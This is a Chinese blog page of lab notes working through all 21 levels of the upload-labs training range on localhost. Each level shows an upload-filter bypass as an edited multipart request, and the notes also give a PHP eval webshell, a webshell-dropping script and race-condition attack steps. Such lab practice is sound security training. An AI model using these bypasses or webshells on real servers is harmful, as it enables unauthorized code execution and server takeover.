| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> upload-labs靶场笔记 -> 正文阅读 |
|
[PHP知识库]upload-labs靶场笔记 |
Pass-01(前端验证)通过BurpSuite在上传时进行抓包,将phpinfo.php后缀改为png,抓包后: ------WebKitFormBoundarylmVwhqWRbWuqHQfO Content-Disposition: form-data; name="upload_file"; filename="phpinfo.png" Content-Type: image/png <?php phpinfo(); ?> ------WebKitFormBoundarylmVwhqWRbWuqHQfO Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundarylmVwhqWRbWuqHQfO-- 修改加粗内容中:filename="phpinfo.php",修改后上传 输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功查看到该页面phpinfo信息 Pass-02(MIME验证)通过BurpSuite在上传时进行抓包,将phpinfo.php后缀改为png,抓包后: ------WebKitFormBoundarylmVwhqWRbWuqHQfO Content-Disposition: form-data; name="upload_file"; filename="phpinfo.png" Content-Type: image/png <?php phpinfo(); ?> ------WebKitFormBoundarylmVwhqWRbWuqHQfO Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundarylmVwhqWRbWuqHQfO-- 修改加粗内容中:filename="phpinfo.php",修改后上传 输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功查看到该页面phpinfo信息 Pass-03(黑名单验证,特色后缀)上传phpinfo.php文件,在上传时利用BurpSuite进行抓包,将抓到的包转到Repeater中,查看包内容: ------WebKitFormBoundaryf4bvbUsESk2PFkPw Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundaryf4bvbUsESk2PFkPw Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundaryf4bvbUsESk2PFkPw-- 修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php2",修改后点击Send按钮上传,查看上传后Response中的Pretty模块,找到上传区的图片:img src="../upload/202111102020075547.php2" 输入网址:http://127.0.0.1/upload-labs//upload/202111102020075547.php2,成功看到该网页的phpinfo.php文件 Pass-04(黑名单验证,.htaccess绕过)上传一个.htaccess文件,在上传时利用BurpSuite进行抓包: ------WebKitFormBoundaryaZpC53cOApBRUN8a Content-Disposition: form-data; name="upload_file"; filename=".htaccess" Content-Type: application/octet-stream AddType application/x-httpd-php .png ------WebKitFormBoundaryaZpC53cOApBRUN8a Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundaryaZpC53cOApBRUN8a-- 修改加粗内容为:Content-Type:image/png,上传成功后,将phpinfo.php文件后缀改为png上传 输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.png,成功查看到该页面phpinfo信息 Pass-05(黑名单验证,.user.ini绕过)创建一个users.ini文件,文件内容为:auto_prepend_file=shell.png,创建后上传users.ini文件,上传后,写一句话木马:<?php @eval($_POST['x']);?>,将一句话木马文件命名为shell.php,更改该文件后缀为png,在该页面上传,上传后,通过中国菜刀成功执行该脚本 Pass-06(黑名单验证,大小写绕过)上传phpinfo.php文件,在上传的过程中进行抓包,抓包后将包放在Repeater中: ------WebKitFormBoundaryhdhbQZE7CBtlXTNx Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundaryhdhbQZE7CBtlXTNx Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundaryhdhbQZE7CBtlXTNx-- 修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.Php",修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址 输入网址:http://127.0.0.1/upload-labs/upload/202111102043153825.Php,成功获取该页面的phpinfo信息 Pass-07(黑名单验证,空格绕过)上传phpinfo.php文件,在上传的过程中进行抓包,抓包后将包放在Repeater中: ------WebKitFormBoundarySof7Oys2QAFcAapt Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundarySof7Oys2QAFcAapt Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundarySof7Oys2QAFcAapt-- 修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php "(在php后面加上空格),修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址 输入网址:http://127.0.0.1/upload-labs/upload/202111102048375314.php,成功获取到该网页的phpinfo信息 Pass-08(黑名单验证,点号绕过)上传phpinfo.php文件,在上传时通过BurpSuite进行抓包: ------WebKitFormBoundary5Unc6BD9Q4gn4daD Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundary5Unc6BD9Q4gn4daD Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundary5Unc6BD9Q4gn4daD-- 修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php."(后面加一个.符号),成功上传后 输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到该网页的phpinfo信息 Pass-09(黑名单验证,特殊字符::$DATA绕过)上传phpinfo.php文件,在上传时通过BurpSuite进行抓包,将包放至Repeater中: ------WebKitFormBoundaryZCABfitwbglmYZha Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundaryZCABfitwbglmYZha Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundaryZCABfitwbglmYZha-- 修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php::$DATA",修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址 输入网址:http://127.0.0.1/upload-labs/upload/202111102105253772.php,成功获取到该网页的phpinfo信息 Pass-10(黑名单验证,点号加空格加点号绕过)上传phpinfo.php文件,在上传时通过BurpSuite进行抓包,将包放至Repeater中: ------WebKitFormBoundary7bJn8kECT3ghfdZu Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundary7bJn8kECT3ghfdZu Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundary7bJn8kECT3ghfdZu-- 修改加粗内容:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php. ."(在php后面加上一个点,然后空格,然后再加一个点),修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址 输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php. (php最后面有一个点),成功获取到该网页的phpinfo信息 Pass-11(黑名单验证,堆叠绕过)上传phpinfo.php文件,在上传时通过BurpSuite进行抓包,将包放至Repeater中: 上传phpinfo.php包,发现php被屏蔽,只上传了info文件,尝试对php进行堆叠,最后发现pphphpinfo.pphphp可以完整上传为phpinfo.php文件,上pphphpinfo.pphphp文件 输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取该网页的phpinfo信息 Pass-12(Get00截断)从源码中判断为%00截断,截断条件为:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态,需将phpStudy的php版本调到5.3.4,php.ini文件的magic_quotes_gpc设置为off状态 通过BurpSuite对上传文件进行抓包,将包传至Repater中: POST /upload-labs/Pass-12/index.php?save_path=../upload/ HTTP/1.1 对头部文件进行修改: POST /upload-labs/Pass-12/index.php?save_path=../upload/phpinfo.php%00 HTTP/1.1 对上传文件部分进行修改: ------WebKitFormBoundarydbNkqjNBBkjFZ8ae Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundarydbNkqjNBBkjFZ8ae Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundarydbNkqjNBBkjFZ8ae-- 修改加粗内容为: Content-Disposition: form-data; name="upload_file"; filename="phpinfo.png",修改后上传文件,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址 输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到该网页的phpinfo信息 Pass-13(POST00截断)从源码中判断为%00截断,截断条件为:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态,需将phpStudy的php版本调到5.3.4,php.ini文件的magic_quotes_gpc设置为off状态 通过BurpSuite在上传文件时进行抓包,将包传至Repeater中: ------WebKitFormBoundaryqhizPdQBQFrlwkxq Content-Disposition: form-data; name="save_path" ../upload/ ------WebKitFormBoundaryqhizPdQBQFrlwkxq Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundaryqhizPdQBQFrlwkxq Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundaryqhizPdQBQFrlwkxq-- 在Raw中修改加粗内容为: ../upload/phpinfo.php+(后面+号方便后面改上传数据的Hex值) Content-Disposition: form-data; name="upload_file"; filename="phpinfo.png" 修改Hex中的内容: 找到../upload/phpinfo.php+所对应的Hex值:2e 2e 2f 75 70 6c 6f 61 64 2f 70 68 70 69 6e 66 6f 2e 70 68 70 2b 0d 找到+所对应的2b值,修改为00,修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址 输入地址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到该网页的phpinfo信息 Pass-14(图片马加文件包含漏洞)利用cmd写一个图片马: cd 图片和脚本文件位置 copy phpinfo.php+shell.jpg phpinfo.jpg 创建完成后上传该图片马,上传成功后点击文件包含漏洞,进入网址:http://127.0.0.1/upload-labs/include.php 输入网址:http://127.0.0.1/upload-labs/include.php?file=upload/9320211111170155.jpeg,成功获取到该网页的phpinfo信息 Pass-15(图片马加文件包含漏洞)利用cmd写一个图片马: cd 图片和脚本文件位置 copy phpinfo.php+shell.jpg phpinfo.jpg 创建完成后上传该图片马,上传成功后点击文件包含漏洞,进入网址:http://127.0.0.1/upload-labs/include.php 输入网址:http://127.0.0.1/upload-labs/include.php?file=upload/2620211111170715.jpeg,成功获取到该网页的phpinfo信息 Pass-16(exif_imagetype图片马)在phpStudy中把php_exif开启,或者在php.ini将php_exif开启 利用cmd写一个图片马: cd 图片和脚本文件位置 copy phpinfo.php+shell.jpg phpinfo.jpg 创建完成后上传该图片马,上传成功后点击文件包含漏洞,进入网址:http://127.0.0.1/upload-labs/include.php 输入网址:http://127.0.0.1/upload-labs/include.php?file=upload/9620211111174735.jpg,成功获取到该网页的phpinfo信息 Pass-17(二次渲染绕过)通过源码来判断该网页使用二次渲染,查询资料得上传gif文件比较容易 通过上传一个gif文件,在上传的时候利用BurpSuite进行抓包,将包放进Repeater中,点击Hex模块,将<?php phpinfo(); ?>添加到 shell.gif的尾部 成功上传含有phpinfo脚本但是无法获得网页的phpinfo信息,将上传的图片下载到本地,可以通往文件名判断,下载下来的图片是经过二次渲染的图片,将两张gif文件分别用16进制编辑器打开,发现gif末端的php代码已经被去除 关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了 对比两张gif文件的16进制,发现有一段部分的代码未改变,将php代码写在这一段为改变的位置上 phpinfo16进制代码: 3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 28 29 3B 3F 3E 将修改后的文件上传,下载下来发现php代码并没有被去除 访问网址:http://127.0.0.1/upload-labs/ Pass-18(条件竞争)通过提示得知需要进行代码审计,从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件 这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了 虽然上传php木马会被删除,但是如果在上传过程中,在PHP木马被删除前被访问,就能实现文件上传漏洞 我们可以利用burp多线程发包,然后不断在浏览器访问我们的 写一句话木马,将其命名为:fp.php,代码为: <?php fputs(fopen('fpt.php','w'),'<?php @eval($_POST["x"])?>')?> 上传该段代码,在上传过程中将其拦截(后续保持拦截状态),将该段拦截的包放在Intruder中 点击Positions模块,点击Clear$ 再点击Payloads模块,设置: Payload Sets Payload set : 1 Payload type : Null payloads Payload Options[Null payload]设置为Continue indefinitely 再点击Options模块,设置: Request Engine Number of threads : 20 Number of retries on network failure : 3 Pause before retry (milliseconds) : 2000 最后写一个python脚本: import requests url = "http://127.0.0.1/upload-labs/upload/fp.php" while True: ? ?html = requests.get(url) ? ?if html.status_code == 200: ? ? ? ?print("OK") ? ? ? ?break 在BurpSuite中的Intruder,点击Start Attack进行攻击,在攻击过程中运行python脚本 当python脚本运行成功后,显示OK后,利用中国菜刀连接 输入网址:http://127.0.0.1/upload-labs/upload/fp.php 密码为:x 成功连接到该网页的服务器 Pass-19(条件竞争)通过提示可以知道该题需要进行代码审计,从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名 这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它,要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等 这里还是将前一关的代码插入图片作出图片马,然后通过文件包含去访问该图片马 制作一个phpinfo文件,再找一个图片文件 利用cmd写一个图片马: cd 图片和脚本文件位置 copy phpinfo.php+shell.jpg phpinfo.jpg 上传图片马,再上传过程中利用BurpSuite进行拦截(后续保持拦截状态),将拦截的包放在Intruder中 上传该段代码,在上传过程中将其拦截(后续保持拦截状态),将该段拦截的包放在Intruder中 点击Positions模块,点击Clear$ 再点击Payloads模块,设置: Payload Sets Payload set : 1 Payload type : Null payloads Payload Options[Null payload]设置为Continue indefinitely 再点击Options模块,设置: Request Engine Number of threads : 20 Number of retries on network failure : 3 Pause before retry (milliseconds) : 2000 最后写一个python脚本: import requests url = "http://127.0.0.1/upload-labs/include.php?file=upload/phpinfo.jpg" while True: ? ?html = requests.get(url) ? ?if ( 'Warning' ?not in ?str(html.text)): ? ? ? ?print('OK') ? ? ? ?break 在BurpSuite中的Intruder,点击Start Attack进行攻击,在攻击过程中运行python脚本 当python脚本运行成功后,显示OK后 输入网址:http://127.0.0.1/upload-labs/include.php?file=upload/phpinfo.jpg,成功获取到该页面的phpinfo信息 Pass-20在该网页上上传phpinfo.php文件,保存名称输入phpinfo.php文件,点击上传 在上传过程中,利用BurpSuite进行抓包: ------WebKitFormBoundaryppiwFeroDrKhOXWT Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundaryppiwFeroDrKhOXWT Content-Disposition: form-data; name="save_name" phpinfo.php ------WebKitFormBoundaryppiwFeroDrKhOXWT Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundaryppiwFeroDrKhOXWT-- 修改加粗内容为:phpinfo.php.(后面加点号) 上传成功后,输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到该网页phpinfo信息 Pass-21通过提示审计代码: 这一关白名单 验证过程: --> 验证上传路径是否存在 --> 验证['upload_file']的content-type是否合法(可以抓包修改) --> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断) -->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组 --> 判断数组最后一个元素是否合法 --> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name --> 上传文件 补充知识: explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。 end(array)函数,输出数组中的当前元素和最后一个元素的值。 reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值 count(array)函数,计算数组中的单元数目,或对象中的属性个数 上传一个phpinfo.php文件,保存文件名称为phpinfo.php,在上传过程中进行抓包: ------WebKitFormBoundaryR85HPrW1ifCGE9eA Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundaryR85HPrW1ifCGE9eA Content-Disposition: form-data; name="save_name" phpinfo.php ------WebKitFormBoundaryR85HPrW1ifCGE9eA Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundaryR85HPrW1ifCGE9eA-- 修改加粗内容为: ------WebKitFormBoundaryR85HPrW1ifCGE9eA Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php" Content-Type: image/png <?php phpinfo(); ?> ------WebKitFormBoundaryR85HPrW1ifCGE9eA Content-Disposition: form-data; name="save_name[0]" phpinfo.php ------WebKitFormBoundaryR85HPrW1ifCGE9eA Content-Disposition: form-data; name="save_name[2]" png ------WebKitFormBoundaryR85HPrW1ifCGE9eA Content-Disposition: form-data; name="submit" 涓婁紶 ------WebKitFormBoundaryR85HPrW1ifCGE9eA-- 修改后上传,上传成功后,输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到phpinfo信息 |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/23 19:07:13- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |